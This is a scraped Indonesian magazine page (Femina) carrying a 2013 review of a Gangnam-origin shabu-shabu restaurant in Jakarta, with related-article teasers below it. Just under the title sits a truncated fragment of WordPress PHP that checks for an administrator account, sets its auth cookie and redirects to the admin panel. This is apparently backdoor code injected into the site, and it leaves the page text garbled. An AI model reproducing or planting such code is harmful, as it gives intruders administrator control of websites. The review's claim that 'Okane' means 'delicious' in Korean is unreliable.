Shabu-shabu Dari Gangnam

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

1 Mar 2013

Demam tarian pop gangnam style yang mendunia, memberi ilham pada Gunawan Wijoyo untuk mencari celah melalui bisnis kuliner Korea. Ia mendatangkan Okane Shabu-Shabu dari pusat hiburan dan mode Gangnam, Korea Selatan, untuk pertama kalinya.

Di tempat asalnya, Okane (berarti ‘lezat’ dalam bahasa Korea) sudah dibuka sejak 10 tahun silam, mengandalkan resep kuah shabu-shabu warisan orang tua chef Choi. Tak melepas franchise begitu saja, keluarga Choi juga menetap berminggu-minggu di Jakarta untuk memastikan terjaganya karakter sejati Okane. Cabang ini merupakan outlet ketiga Okane di seluruh dunia.

Salah satu pembeda dari shabu-shabu ini adalah cocolan sausnya. Di dalam saus berbasis kecap asin yang bercita rasa asin dan manis ini disertakan wasabi dan cabai rawit cincang. Caranya, aduk rata bahan saus bersama daging wagyu Australia, jamur (enoki dan shimeji), atau sayuran organiknya (sawi, kentang, labu) yang sudah direbus dalam kuah.

Dalam sepaket shabu-shabu ada nasi goreng yang justru dianjurkan untuk dimasak dalam wajan shabu-shabu panas yang kuahnya sudah tandas. Anda cukup memanaskan sambil menekan-nekannya hingga seperti dadar hingga nasi nyaris berkerak. Jadi penasaran, ‘kan? (VL)

Lokasi: Jl. Joko Sutono No.11, Jak-Sel. Telp: (021) 7260999. Jam buka: Senin- Minggu 10.00–22.00 WIB. Harga: Rp29.000-Rp159.000 (belum termasuk pajak 10%). Suasana: Resto berlantai dua yang nyaman dan modern.

Cicip Manisnya Dessert Jepang Di Sini

Tren Es Masa Kini

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id